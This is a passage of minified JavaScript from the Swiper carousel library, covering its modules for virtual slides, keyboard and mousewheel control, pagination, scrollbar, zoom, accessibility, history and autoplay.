e=this;n.extend(e,{resize:{resizeHandler:function(){e&&!e.destroyed&&e.initialized&&(e.emit("beforeResize"),e.emit("resize"))},orientationChangeHandler:function(){e&&!e.destroyed&&e.initialized&&e.emit("orientationchange")}}})},on:{init:function(){t.addEventListener("resize",this.resize.resizeHandler),t.addEventListener("orientationchange",this.resize.orientationChangeHandler)},destroy:function(){t.removeEventListener("resize",this.resize.resizeHandler),t.removeEventListener("orientationchange",this.resize.orientationChangeHandler)}}},_={func:t.MutationObserver||t.WebkitMutationObserver,attach:function(e,i){void 0===i&&(i={});var s=this,a=new(0,_.func)((function(e){if(1!==e.length){var i=function(){s.emit("observerUpdate",e[0])};t.requestAnimationFrame?t.requestAnimationFrame(i):t.setTimeout(i,0)}else s.emit("observerUpdate",e[0])}));a.observe(e,{attributes:void 0===i.attributes||i.attributes,childList:void 0===i.childList||i.childList,characterData:void 0===i.characterData||i.characterData}),s.observer.observers.push(a)},init:function(){if(o.observer&&this.params.observer){if(this.params.observeParents)for(var e=this.$el.parents(),t=0;t<e.length;t+=1)this.observer.attach(e[t]);this.observer.attach(this.$el[0],{childList:this.params.observeSlideChildren}),this.observer.attach(this.$wrapperEl[0],{attributes:!1})}},destroy:function(){this.observer.observers.forEach((function(e){e.disconnect()})),this.observer.observers=[]}},Z={name:"observer",params:{observer:!1,observeParents:!1,observeSlideChildren:!1},create:function(){n.extend(this,{observer:{init:_.init.bind(this),attach:_.attach.bind(this),destroy:_.destroy.bind(this),observers:[]}})},on:{init:function(){this.observer.init()},destroy:function(){this.observer.destroy()}}},Q={update:function(e){var t=this,i=t.params,s=i.slidesPerView,a=i.slidesPerGroup,r=i.centeredSlides,o=t.params.virtual,l=o.addSlidesBefore,d=o.addSlidesAfter,h=t.virtual,p=h.from,c=h.to,u=h.slides,v=h.slidesGrid,f=h.renderSlide,m=h.offset;t.updateActiveIndex();var g,b,w,y=t.activeIndex||0;g=t.rtlTranslate?"right":t.isHorizontal()?"left":"top",r?(b=Math.floor(s/2)+a+l,w=Math.floor(s/2)+a+d):(b=s+(a-1)+l,w=a+d);var x=Math.max((y||0)-w,0),T=Math.min((y||0)+b,u.length-1),E=(t.slidesGrid[x]||0)-(t.slidesGrid[0]||0);function S(){t.updateSlides(),t.updateProgress(),t.updateSlidesClasses(),t.lazy&&t.params.lazy.enabled&&t.lazy.load()}if(n.extend(t.virtual,{from:x,to:T,offset:E,slidesGrid:t.slidesGrid}),p===x&&c===T&&!e)return t.slidesGrid!==v&&E!==m&&t.slides.css(g,E+"px"),void t.updateProgress();if(t.params.virtual.renderExternal)return t.params.virtual.renderExternal.call(t,{offset:E,from:x,to:T,slides:function(){for(var e=[],t=x;t<=T;t+=1)e.push(u[t]);return e}()}),void S();var C=[],M=[];if(e)t.$wrapperEl.find("."+t.params.slideClass).remove();else for(var P=p;P<=c;P+=1)(P<x||P>T)&&t.$wrapperEl.find("."+t.params.slideClass+'[data-swiper-slide-index="'+P+'"]').remove();for(var z=0;z<u.length;z+=1)z>=x&&z<=T&&(void 0===c||e?M.push(z):(z>c&&M.push(z),z<p&&C.push(z)));M.forEach((function(e){t.$wrapperEl.append(f(u[e],e))})),C.sort((function(e,t){return t-e})).forEach((function(e){t.$wrapperEl.prepend(f(u[e],e))})),t.$wrapperEl.children(".swiper-slide").css(g,E+"px"),S()},renderSlide:function(e,t){var i=this.params.virtual;if(i.cache&&this.virtual.cache[t])return this.virtual.cache[t];var a=i.renderSlide?s(i.renderSlide.call(this,e,t)):s('<div class="'+this.params.slideClass+'" data-swiper-slide-index="'+t+'">'+e+"</div>");return a.attr("data-swiper-slide-index")||a.attr("data-swiper-slide-index",t),i.cache&&(this.virtual.cache[t]=a),a},appendSlide:function(e){if("object"==typeof e&&"length"in e)for(var t=0;t<e.length;t+=1)e[t]&&this.virtual.slides.push(e[t]);else this.virtual.slides.push(e);this.virtual.update(!0)},prependSlide:function(e){var t=this.activeIndex,i=t+1,s=1;if(Array.isArray(e)){for(var a=0;a<e.length;a+=1)e[a]&&this.virtual.slides.unshift(e[a]);i=t+e.length,s=e.length}else this.virtual.slides.unshift(e);if(this.params.virtual.cache){var r=this.virtual.cache,n={};Object.keys(r).forEach((function(e){var t=r[e],i=t.attr("data-swiper-slide-index");i&&t.attr("data-swiper-slide-index",parseInt(i,10)+1),n[parseInt(e,10)+s]=t})),this.virtual.cache=n}this.virtual.update(!0),this.slideTo(i,0)},removeSlide:function(e){if(null!=e){var t=this.activeIndex;if(Array.isArray(e))for(var i=e.length-1;i>=0;i-=1)this.virtual.slides.splice(e[i],1),this.params.virtual.cache&&delete this.virtual.cache[e[i]],e[i]<t&&(t-=1),t=Math.max(t,0);else this.virtual.slides.splice(e,1),this.params.virtual.cache&&delete this.virtual.cache[e],e<t&&(t-=1),t=Math.max(t,0);this.virtual.update(!0),this.slideTo(t,0)}},removeAllSlides:function(){this.virtual.slides=[],this.params.virtual.cache&&(this.virtual.cache={}),this.virtual.update(!0),this.slideTo(0,0)}},J={name:"virtual",params:{virtual:{enabled:!1,slides:[],cache:!0,renderSlide:null,renderExternal:null,addSlidesBefore:0,addSlidesAfter:0}},create:function(){n.extend(this,{virtual:{update:Q.update.bind(this),appendSlide:Q.appendSlide.bind(this),prependSlide:Q.prependSlide.bind(this),removeSlide:Q.removeSlide.bind(this),removeAllSlides:Q.removeAllSlides.bind(this),renderSlide:Q.renderSlide.bind(this),slides:this.params.virtual.slides,cache:{}}})},on:{beforeInit:function(){if(this.params.virtual.enabled){this.classNames.push(this.params.containerModifierClass+"virtual");var e={watchSlidesProgress:!0};n.extend(this.params,e),n.extend(this.originalParams,e),this.params.initialSlide||this.virtual.update()}},setTranslate:function(){this.params.virtual.enabled&&this.virtual.update()}}},ee={handle:function(i){var s=this.rtlTranslate,a=i;a.originalEvent&&(a=a.originalEvent);var r=a.keyCode||a.charCode;if(!this.allowSlideNext&&(this.isHorizontal()&&39===r||this.isVertical()&&40===r||34===r))return!1;if(!this.allowSlidePrev&&(this.isHorizontal()&&37===r||this.isVertical()&&38===r||33===r))return!1;if(!(a.shiftKey||a.altKey||a.ctrlKey||a.metaKey||e.activeElement&&e.activeElement.nodeName&&("input"===e.activeElement.nodeName.toLowerCase()||"textarea"===e.activeElement.nodeName.toLowerCase()))){if(this.params.keyboard.onlyInViewport&&(33===r||34===r||37===r||39===r||38===r||40===r)){var n=!1;if(this.$el.parents("."+this.params.slideClass).length>0&&0===this.$el.parents("."+this.params.slideActiveClass).length)return;var o=t.innerWidth,l=t.innerHeight,d=this.$el.offset();s&&(d.left-=this.$el[0].scrollLeft);for(var h=[[d.left,d.top],[d.left+this.width,d.top],[d.left,d.top+this.height],[d.left+this.width,d.top+this.height]],p=0;p<h.length;p+=1){var c=h[p];c[0]>=0&&c[0]<=o&&c[1]>=0&&c[1]<=l&&(n=!0)}if(!n)return}this.isHorizontal()?(33!==r&&34!==r&&37!==r&&39!==r||(a.preventDefault?a.preventDefault():a.returnValue=!1),(34!==r&&39!==r||s)&&(33!==r&&37!==r||!s)||this.slideNext(),(33!==r&&37!==r||s)&&(34!==r&&39!==r||!s)||this.slidePrev()):(33!==r&&34!==r&&38!==r&&40!==r||(a.preventDefault?a.preventDefault():a.returnValue=!1),34!==r&&40!==r||this.slideNext(),33!==r&&38!==r||this.slidePrev()),this.emit("keyPress",r)}},enable:function(){this.keyboard.enabled||(s(e).on("keydown",this.keyboard.handle),this.keyboard.enabled=!0)},disable:function(){this.keyboard.enabled&&(s(e).off("keydown",this.keyboard.handle),this.keyboard.enabled=!1)}},te={name:"keyboard",params:{keyboard:{enabled:!1,onlyInViewport:!0}},create:function(){n.extend(this,{keyboard:{enabled:!1,enable:ee.enable.bind(this),disable:ee.disable.bind(this),handle:ee.handle.bind(this)}})},on:{init:function(){this.params.keyboard.enabled&&this.keyboard.enable()},destroy:function(){this.keyboard.enabled&&this.keyboard.disable()}}};var ie={lastScrollTime:n.now(),lastEventBeforeSnap:void 0,recentWheelEvents:[],event:function(){return t.navigator.userAgent.indexOf("firefox")>-1?"DOMMouseScroll":function(){var t="onwheel"in e;if(!t){var i=e.createElement("div");i.setAttribute("onwheel","return;"),t="function"==typeof i.onwheel}return!t&&e.implementation&&e.implementation.hasFeature&&!0!==e.implementation.hasFeature("","")&&(t=e.implementation.hasFeature("Events.wheel","3.0")),t}()?"wheel":"mousewheel"},normalize:function(e){var t=0,i=0,s=0,a=0;return"detail"in e&&(i=e.detail),"wheelDelta"in e&&(i=-e.wheelDelta/120),"wheelDeltaY"in e&&(i=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=i,i=0),s=10*t,a=10*i,"deltaY"in e&&(a=e.deltaY),"deltaX"in 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h={time:n.now(),delta:Math.abs(o),direction:Math.sign(o)},p=i.mousewheel.lastEventBeforeSnap,c=p&&h.time<p.time+500&&h.delta<=p.delta&&h.direction===p.direction;if(!c){i.mousewheel.lastEventBeforeSnap=void 0,i.params.loop&&i.loopFix();var u=i.getTranslate()+o*a.sensitivity,v=i.isBeginning,f=i.isEnd;if(u>=i.minTranslate()&&(u=i.minTranslate()),u<=i.maxTranslate()&&(u=i.maxTranslate()),i.setTransition(0),i.setTranslate(u),i.updateProgress(),i.updateActiveIndex(),i.updateSlidesClasses(),(!v&&i.isBeginning||!f&&i.isEnd)&&i.updateSlidesClasses(),i.params.freeModeSticky){clearTimeout(i.mousewheel.timeout),i.mousewheel.timeout=void 0;var m=i.mousewheel.recentWheelEvents;m.length>=15&&m.shift();var g=m.length?m[m.length-1]:void 0,b=m[0];if(m.push(h),g&&(h.delta>g.delta||h.direction!==g.direction))m.splice(0);else if(m.length>=15&&h.time-b.time<500&&b.delta-h.delta>=1&&h.delta<=6){var w=o>0?.8:.2;i.mousewheel.lastEventBeforeSnap=h,m.splice(0),i.mousewheel.timeout=n.nextTick((function(){i.slideToClosest(i.params.speed,!0,void 0,w)}),0)}i.mousewheel.timeout||(i.mousewheel.timeout=n.nextTick((function(){i.mousewheel.lastEventBeforeSnap=h,m.splice(0),i.slideToClosest(i.params.speed,!0,void 0,.5)}),500))}if(c||i.emit("scroll",t),i.params.autoplay&&i.params.autoplayDisableOnInteraction&&i.autoplay.stop(),u===i.minTranslate()||u===i.maxTranslate())return!0}}else{var y={time:n.now(),delta:Math.abs(o),direction:Math.sign(o),raw:e},x=i.mousewheel.recentWheelEvents;x.length>=2&&x.shift();var T=x.length?x[x.length-1]:void 0;if(x.push(y),T?(y.direction!==T.direction||y.delta>T.delta)&&i.mousewheel.animateSlider(y):i.mousewheel.animateSlider(y),i.mousewheel.releaseScroll(y))return!0}return t.preventDefault?t.preventDefault():t.returnValue=!1,!1},animateSlider:function(e){return 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t=this.$el;return"container"!==this.params.mousewheel.eventsTarged&&(t=s(this.params.mousewheel.eventsTarged)),t.on("mouseenter",this.mousewheel.handleMouseEnter),t.on("mouseleave",this.mousewheel.handleMouseLeave),t.on(e,this.mousewheel.handle),this.mousewheel.enabled=!0,!0},disable:function(){var e=ie.event();if(this.params.cssMode)return this.wrapperEl.addEventListener(e,this.mousewheel.handle),!0;if(!e)return!1;if(!this.mousewheel.enabled)return!1;var t=this.$el;return"container"!==this.params.mousewheel.eventsTarged&&(t=s(this.params.mousewheel.eventsTarged)),t.off(e,this.mousewheel.handle),this.mousewheel.enabled=!1,!0}},se={update:function(){var e=this.params.navigation;if(!this.params.loop){var t=this.navigation,i=t.$nextEl,s=t.$prevEl;s&&s.length>0&&(this.isBeginning?s.addClass(e.disabledClass):s.removeClass(e.disabledClass),s[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](e.lockClass)),i&&i.length>0&&(this.isEnd?i.addClass(e.disabledClass):i.removeClass(e.disabledClass),i[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](e.lockClass))}},onPrevClick:function(e){e.preventDefault(),this.isBeginning&&!this.params.loop||this.slidePrev()},onNextClick:function(e){e.preventDefault(),this.isEnd&&!this.params.loop||this.slideNext()},init:function(){var e,t,i=this.params.navigation;(i.nextEl||i.prevEl)&&(i.nextEl&&(e=s(i.nextEl),this.params.uniqueNavElements&&"string"==typeof i.nextEl&&e.length>1&&1===this.$el.find(i.nextEl).length&&(e=this.$el.find(i.nextEl))),i.prevEl&&(t=s(i.prevEl),this.params.uniqueNavElements&&"string"==typeof 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p=h.eq(i),c=p.index();if(p.addClass(t.bulletActiveClass),t.dynamicBullets){for(var u=h.eq(o),v=h.eq(l),f=o;f<=l;f+=1)h.eq(f).addClass(t.bulletActiveClass+"-main");if(this.params.loop)if(c>=h.length-t.dynamicMainBullets){for(var m=t.dynamicMainBullets;m>=0;m-=1)h.eq(h.length-m).addClass(t.bulletActiveClass+"-main");h.eq(h.length-t.dynamicMainBullets-1).addClass(t.bulletActiveClass+"-prev")}else u.prev().addClass(t.bulletActiveClass+"-prev").prev().addClass(t.bulletActiveClass+"-prev-prev"),v.next().addClass(t.bulletActiveClass+"-next").next().addClass(t.bulletActiveClass+"-next-next");else u.prev().addClass(t.bulletActiveClass+"-prev").prev().addClass(t.bulletActiveClass+"-prev-prev"),v.next().addClass(t.bulletActiveClass+"-next").next().addClass(t.bulletActiveClass+"-next-next")}}if(t.dynamicBullets){var g=Math.min(h.length,t.dynamicMainBullets+4),b=(this.pagination.bulletSize*g-this.pagination.bulletSize)/2-d*this.pagination.bulletSize,w=e?"right":"left";h.css(this.isHorizontal()?w:"top",b+"px")}}if("fraction"===t.type&&(r.find("."+t.currentClass).text(t.formatFractionCurrent(i+1)),r.find("."+t.totalClass).text(t.formatFractionTotal(n))),"progressbar"===t.type){var y;y=t.progressbarOpposite?this.isHorizontal()?"vertical":"horizontal":this.isHorizontal()?"horizontal":"vertical";var x=(i+1)/n,T=1,E=1;"horizontal"===y?T=x:E=x,r.find("."+t.progressbarFillClass).transform("translate3d(0,0,0) scaleX("+T+") scaleY("+E+")").transition(this.params.speed)}"custom"===t.type&&t.renderCustom?(r.html(t.renderCustom(this,i+1,n)),this.emit("paginationRender",this,r[0])):this.emit("paginationUpdate",this,r[0]),r[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](t.lockClass)}},render:function(){var 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e=this.params.pagination;if(e.el&&this.pagination.el&&this.pagination.$el&&0!==this.pagination.$el.length){var t=this.pagination.$el;t.removeClass(e.hiddenClass),t.removeClass(e.modifierClass+e.type),this.pagination.bullets&&this.pagination.bullets.removeClass(e.bulletActiveClass),e.clickable&&t.off("click","."+e.bulletClass)}}},re={setTranslate:function(){if(this.params.scrollbar.el&&this.scrollbar.el){var e=this.scrollbar,t=this.rtlTranslate,i=this.progress,s=e.dragSize,a=e.trackSize,r=e.$dragEl,n=e.$el,o=this.params.scrollbar,l=s,d=(a-s)*i;t?(d=-d)>0?(l=s-d,d=0):-d+s>a&&(l=a+d):d<0?(l=s+d,d=0):d+s>a&&(l=a-d),this.isHorizontal()?(r.transform("translate3d("+d+"px, 0, 0)"),r[0].style.width=l+"px"):(r.transform("translate3d(0px, "+d+"px, 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s,a=this.isHorizontal()?i[0].offsetWidth:i[0].offsetHeight,r=this.size/this.virtualSize,o=r*(a/this.size);s="auto"===this.params.scrollbar.dragSize?a*r:parseInt(this.params.scrollbar.dragSize,10),this.isHorizontal()?t[0].style.width=s+"px":t[0].style.height=s+"px",i[0].style.display=r>=1?"none":"",this.params.scrollbar.hide&&(i[0].style.opacity=0),n.extend(e,{trackSize:a,divider:r,moveDivider:o,dragSize:s}),e.$el[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](this.params.scrollbar.lockClass)}},getPointerPosition:function(e){return this.isHorizontal()?"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].clientX:e.clientX:"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].clientY:e.clientY},setDragPosition:function(e){var t,i=this.scrollbar,s=this.rtlTranslate,a=i.$el,r=i.dragSize,n=i.trackSize,o=i.dragStartPos;t=(i.getPointerPosition(e)-a.offset()[this.isHorizontal()?"left":"top"]-(null!==o?o:r/2))/(n-r),t=Math.max(Math.min(t,1),0),s&&(t=1-t);var l=this.minTranslate()+(this.maxTranslate()-this.minTranslate())*t;this.updateProgress(l),this.setTranslate(l),this.updateActiveIndex(),this.updateSlidesClasses()},onDragStart:function(e){var t=this.params.scrollbar,i=this.scrollbar,s=this.$wrapperEl,a=i.$el,r=i.$dragEl;this.scrollbar.isTouched=!0,this.scrollbar.dragStartPos=e.target===r[0]||e.target===r?i.getPointerPosition(e)-e.target.getBoundingClientRect()[this.isHorizontal()?"left":"top"]:null,e.preventDefault(),e.stopPropagation(),s.transition(100),r.transition(100),i.setDragPosition(e),clearTimeout(this.scrollbar.dragTimeout),a.transition(0),t.hide&&a.css("opacity",1),this.params.cssMode&&this.$wrapperEl.css("scroll-snap-type","none"),this.emit("scrollbarDragStart",e)},onDragMove:function(e){var t=this.scrollbar,i=this.$wrapperEl,s=t.$el,a=t.$dragEl;this.scrollbar.isTouched&&(e.preventDefault?e.preventDefault():e.returnValue=!1,t.setDragPosition(e),i.transition(0),s.transition(0),a.transition(0),this.emit("scrollbarDragMove",e))},onDragEnd:function(e){var t=this.params.scrollbar,i=this.scrollbar,s=this.$wrapperEl,a=i.$el;this.scrollbar.isTouched&&(this.scrollbar.isTouched=!1,this.params.cssMode&&(this.$wrapperEl.css("scroll-snap-type",""),s.transition("")),t.hide&&(clearTimeout(this.scrollbar.dragTimeout),this.scrollbar.dragTimeout=n.nextTick((function(){a.css("opacity",0),a.transition(400)}),1e3)),this.emit("scrollbarDragEnd",e),t.snapOnRelease&&this.slideToClosest())},enableDraggable:function(){if(this.params.scrollbar.el){var t=this.scrollbar,i=this.touchEventsTouch,s=this.touchEventsDesktop,a=this.params,r=t.$el[0],n=!(!o.passiveListener||!a.passiveListeners)&&{passive:!1,capture:!1},l=!(!o.passiveListener||!a.passiveListeners)&&{passive:!0,capture:!1};o.touch?(r.addEventListener(i.start,this.scrollbar.onDragStart,n),r.addEventListener(i.move,this.scrollbar.onDragMove,n),r.addEventListener(i.end,this.scrollbar.onDragEnd,l)):(r.addEventListener(s.start,this.scrollbar.onDragStart,n),e.addEventListener(s.move,this.scrollbar.onDragMove,n),e.addEventListener(s.end,this.scrollbar.onDragEnd,l))}},disableDraggable:function(){if(this.params.scrollbar.el){var t=this.scrollbar,i=this.touchEventsTouch,s=this.touchEventsDesktop,a=this.params,r=t.$el[0],n=!(!o.passiveListener||!a.passiveListeners)&&{passive:!1,capture:!1},l=!(!o.passiveListener||!a.passiveListeners)&&{passive:!0,capture:!1};o.touch?(r.removeEventListener(i.start,this.scrollbar.onDragStart,n),r.removeEventListener(i.move,this.scrollbar.onDragMove,n),r.removeEventListener(i.end,this.scrollbar.onDragEnd,l)):(r.removeEventListener(s.start,this.scrollbar.onDragStart,n),e.removeEventListener(s.move,this.scrollbar.onDragMove,n),e.removeEventListener(s.end,this.scrollbar.onDragEnd,l))}},init:function(){if(this.params.scrollbar.el){var e=this.scrollbar,t=this.$el,i=this.params.scrollbar,a=s(i.el);this.params.uniqueNavElements&&"string"==typeof i.el&&a.length>1&&1===t.find(i.el).length&&(a=t.find(i.el));var r=a.find("."+this.params.scrollbar.dragClass);0===r.length&&(r=s('<div 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t=this.params.zoom,i=this.zoom,s=i.gesture;if(!o.gestures){if("touchmove"!==e.type||"touchmove"===e.type&&e.targetTouches.length<2)return;i.fakeGestureMoved=!0,s.scaleMove=oe.getDistanceBetweenTouches(e)}s.$imageEl&&0!==s.$imageEl.length&&(i.scale=o.gestures?e.scale*i.currentScale:s.scaleMove/s.scaleStart*i.currentScale,i.scale>s.maxRatio&&(i.scale=s.maxRatio-1+Math.pow(i.scale-s.maxRatio+1,.5)),i.scale<t.minRatio&&(i.scale=t.minRatio+1-Math.pow(t.minRatio-i.scale+1,.5)),s.$imageEl.transform("translate3d(0,0,0) scale("+i.scale+")"))},onGestureEnd:function(e){var t=this.params.zoom,i=this.zoom,s=i.gesture;if(!o.gestures){if(!i.fakeGestureTouched||!i.fakeGestureMoved)return;if("touchend"!==e.type||"touchend"===e.type&&e.changedTouches.length<2&&!I.android)return;i.fakeGestureTouched=!1,i.fakeGestureMoved=!1}s.$imageEl&&0!==s.$imageEl.length&&(i.scale=Math.max(Math.min(i.scale,s.maxRatio),t.minRatio),s.$imageEl.transition(this.params.speed).transform("translate3d(0,0,0) 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r=s.width*t.scale,o=s.height*t.scale;if(!(r<i.slideWidth&&o<i.slideHeight)){if(s.minX=Math.min(i.slideWidth/2-r/2,0),s.maxX=-s.minX,s.minY=Math.min(i.slideHeight/2-o/2,0),s.maxY=-s.minY,s.touchesCurrent.x="touchmove"===e.type?e.targetTouches[0].pageX:e.pageX,s.touchesCurrent.y="touchmove"===e.type?e.targetTouches[0].pageY:e.pageY,!s.isMoved&&!t.isScaling){if(this.isHorizontal()&&(Math.floor(s.minX)===Math.floor(s.startX)&&s.touchesCurrent.x<s.touchesStart.x||Math.floor(s.maxX)===Math.floor(s.startX)&&s.touchesCurrent.x>s.touchesStart.x))return void(s.isTouched=!1);if(!this.isHorizontal()&&(Math.floor(s.minY)===Math.floor(s.startY)&&s.touchesCurrent.y<s.touchesStart.y||Math.floor(s.maxY)===Math.floor(s.startY)&&s.touchesCurrent.y>s.touchesStart.y))return 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e=this.zoom,t=this.params.zoom,i=e.gesture;i.$slideEl||(this.params.virtual&&this.params.virtual.enabled&&this.virtual?i.$slideEl=this.$wrapperEl.children("."+this.params.slideActiveClass):i.$slideEl=this.slides.eq(this.activeIndex),i.$imageEl=i.$slideEl.find("img, svg, canvas, picture, .swiper-zoom-target"),i.$imageWrapEl=i.$imageEl.parent("."+t.containerClass)),i.$imageEl&&0!==i.$imageEl.length&&(e.scale=1,e.currentScale=1,i.$imageWrapEl.transition(300).transform("translate3d(0,0,0)"),i.$imageEl.transition(300).transform("translate3d(0,0,0) scale(1)"),i.$slideEl.removeClass(""+t.zoomedSlideClass),i.$slideEl=void 0)},enable:function(){var e=this.zoom;if(!e.enabled){e.enabled=!0;var t=!("touchstart"!==this.touchEvents.start||!o.passiveListener||!this.params.passiveListeners)&&{passive:!0,capture:!1},i=!o.passiveListener||{passive:!1,capture:!0},s="."+this.params.slideClass;o.gestures?(this.$wrapperEl.on("gesturestart",s,e.onGestureStart,t),this.$wrapperEl.on("gesturechange",s,e.onGestureChange,t),this.$wrapperEl.on("gestureend",s,e.onGestureEnd,t)):"touchstart"===this.touchEvents.start&&(this.$wrapperEl.on(this.touchEvents.start,s,e.onGestureStart,t),this.$wrapperEl.on(this.touchEvents.move,s,e.onGestureChange,i),this.$wrapperEl.on(this.touchEvents.end,s,e.onGestureEnd,t),this.touchEvents.cancel&&this.$wrapperEl.on(this.touchEvents.cancel,s,e.onGestureEnd,t)),this.$wrapperEl.on(this.touchEvents.move,"."+this.params.zoom.containerClass,e.onTouchMove,i)}},disable:function(){var e=this.zoom;if(e.enabled){this.zoom.enabled=!1;var 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i=s(e.target);this.navigation&&this.navigation.$nextEl&&i.is(this.navigation.$nextEl)&&(this.isEnd&&!this.params.loop||this.slideNext(),this.isEnd?this.a11y.notify(t.lastSlideMessage):this.a11y.notify(t.nextSlideMessage)),this.navigation&&this.navigation.$prevEl&&i.is(this.navigation.$prevEl)&&(this.isBeginning&&!this.params.loop||this.slidePrev(),this.isBeginning?this.a11y.notify(t.firstSlideMessage):this.a11y.notify(t.prevSlideMessage)),this.pagination&&i.is("."+this.params.pagination.bulletClass)&&i[0].click()}},notify:function(e){var t=this.a11y.liveRegion;0!==t.length&&(t.html(""),t.html(e))},updateNavigation:function(){if(!this.params.loop&&this.navigation){var e=this.navigation,t=e.$nextEl,i=e.$prevEl;i&&i.length>0&&(this.isBeginning?this.a11y.disableEl(i):this.a11y.enableEl(i)),t&&t.length>0&&(this.isEnd?this.a11y.disableEl(t):this.a11y.enableEl(t))}},updatePagination:function(){var e=this,t=e.params.a11y;e.pagination&&e.params.pagination.clickable&&e.pagination.bullets&&e.pagination.bullets.length&&e.pagination.bullets.each((function(i,a){var r=s(a);e.a11y.makeElFocusable(r),e.a11y.addElRole(r,"button"),e.a11y.addElLabel(r,t.paginationBulletMessage.replace(/\{\{index\}\}/,r.index()+1))}))},init:function(){this.$el.append(this.a11y.liveRegion);var e,t,i=this.params.a11y;this.navigation&&this.navigation.$nextEl&&(e=this.navigation.$nextEl),this.navigation&&this.navigation.$prevEl&&(t=this.navigation.$prevEl),e&&(this.a11y.makeElFocusable(e),this.a11y.addElRole(e,"button"),this.a11y.addElLabel(e,i.nextSlideMessage),e.on("keydown",this.a11y.onEnterKey)),t&&(this.a11y.makeElFocusable(t),this.a11y.addElRole(t,"button"),this.a11y.addElLabel(t,i.prevSlideMessage),t.on("keydown",this.a11y.onEnterKey)),this.pagination&&this.params.pagination.clickable&&this.pagination.bullets&&this.pagination.bullets.length&&this.pagination.$el.on("keydown","."+this.params.pagination.bulletClass,this.a11y.onEnterKey)},destroy:function(){var e,t;this.a11y.liveRegion&&this.a11y.liveRegion.length>0&&this.a11y.liveRegion.remove(),this.navigation&&this.navigation.$nextEl&&(e=this.navigation.$nextEl),this.navigation&&this.navigation.$prevEl&&(t=this.navigation.$prevEl),e&&e.off("keydown",this.a11y.onEnterKey),t&&t.off("keydown",this.a11y.onEnterKey),this.pagination&&this.params.pagination.clickable&&this.pagination.bullets&&this.pagination.bullets.length&&this.pagination.$el.off("keydown","."+this.params.pagination.bulletClass,this.a11y.onEnterKey)}},pe={init:function(){if(this.params.history){if(!t.history||!t.history.pushState)return this.params.history.enabled=!1,void(this.params.hashNavigation.enabled=!0);var e=this.history;e.initialized=!0,e.paths=pe.getPathValues(),(e.paths.key||e.paths.value)&&(e.scrollToSlide(0,e.paths.value,this.params.runCallbacksOnInit),this.params.history.replaceState||t.addEventListener("popstate",this.history.setHistoryPopState))}},destroy:function(){this.params.history.replaceState||t.removeEventListener("popstate",this.history.setHistoryPopState)},setHistoryPopState:function(){this.history.paths=pe.getPathValues(),this.history.scrollToSlide(this.params.speed,this.history.paths.value,!1)},getPathValues:function(){var e=t.location.pathname.slice(1).split("/").filter((function(e){return""!==e})),i=e.length;return{key:e[i-2],value:e[i-1]}},setHistory:function(e,i){if(this.history.initialized&&this.params.history.enabled){var s=this.slides.eq(i),a=pe.slugify(s.attr("data-history"));t.location.pathname.includes(e)||(a=e+"/"+a);var r=t.history.state;r&&r.value===a||(this.params.history.replaceState?t.history.replaceState({value:a},null,a):t.history.pushState({value:a},null,a))}},slugify:function(e){return e.toString().replace(/\s+/g,"-").replace(/[^\w-]+/g,"").replace(/--+/g,"-").replace(/^-+/,"").replace(/-+$/,"")},scrollToSlide:function(e,t,i){if(t)for(var s=0,a=this.slides.length;s<a;s+=1){var r=this.slides.eq(s);if(pe.slugify(r.attr("data-history"))===t&&!r.hasClass(this.params.slideDuplicateClass)){var n=r.index();this.slideTo(n,e,i)}}else this.slideTo(0,e,i)}},ce={onHashCange:function(){var t=e.location.hash.replace("#","");if(t!==this.slides.eq(this.activeIndex).attr("data-hash")){var i=this.$wrapperEl.children("."+this.params.slideClass+'[data-hash="'+t+'"]').index();if(void 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o=n.index();this.slideTo(o,0,this.params.runCallbacksOnInit,!0)}}this.params.hashNavigation.watchState&&s(t).on("hashchange",this.hashNavigation.onHashCange)}},destroy:function(){this.params.hashNavigation.watchState&&s(t).off("hashchange",this.hashNavigation.onHashCange)}},ue={run:function(){var e=this,t=e.slides.eq(e.activeIndex),i=e.params.autoplay.delay;t.attr("data-swiper-autoplay")&&(i=t.attr("data-swiper-autoplay")||e.params.autoplay.delay),clearTimeout(e.autoplay.timeout),e.autoplay.timeout=n.nextTick((function(){e.params.autoplay.reverseDirection?e.params.loop?(e.loopFix(),e.slidePrev(e.params.speed,!0,!0),e.emit("autoplay")):e.isBeginning?e.params.autoplay.stopOnLastSlide?e.autoplay.stop():(e.slideTo(e.slides.length-1,e.params.speed,!0,!0),e.emit("autoplay")):(e.slidePrev(e.params.speed,!0,!0),e.emit("autoplay")):e.params.loop?(e.loopFix(),e.slideNext(e.params.speed,!0,!0),e.emit("autoplay")):e.isEnd?e.params.autoplay.stopOnLastSlide?e.autoplay.stop():(e.slideTo(0,e.params.speed,!0,!0),e.emit("autoplay")):(e.slideNext(e.params.speed,!0,!0),e.emit("autoplay")),e.params.cssMode&&e.autoplay.running&&e.autoplay.run()}),i)},start:function(){return void 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.swiper-slide-shadow-left").transition(e),this.params.cubeEffect.shadow&&!this.isHorizontal()&&t.find(".swiper-cube-shadow").transition(e)}},me={setTranslate:function(){for(var e=this.slides,t=this.rtlTranslate,i=0;i<e.length;i+=1){var a=e.eq(i),r=a[0].progress;this.params.flipEffect.limitRotation&&(r=Math.max(Math.min(a[0].progress,1),-1));var n=-180*r,o=0,l=-a[0].swiperSlideOffset,d=0;if(this.isHorizontal()?t&&(n=-n):(d=l,l=0,o=-n,n=0),a[0].style.zIndex=-Math.abs(Math.round(r))+e.length,this.params.flipEffect.slideShadows){var h=this.isHorizontal()?a.find(".swiper-slide-shadow-left"):a.find(".swiper-slide-shadow-top"),p=this.isHorizontal()?a.find(".swiper-slide-shadow-right"):a.find(".swiper-slide-shadow-bottom");0===h.length&&(h=s('<div class="swiper-slide-shadow-'+(this.isHorizontal()?"left":"top")+'"></div>'),a.append(h)),0===p.length&&(p=s('<div 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f=i.eq(u),m=r[u],g=(h-f[0].swiperSlideOffset-m/2)/m*n.modifier,b=l?p*g:0,w=l?0:p*g,y=-c*Math.abs(g),x=n.stretch;"string"==typeof x&&-1!==x.indexOf("%")&&(x=parseFloat(n.stretch)/100*m);var 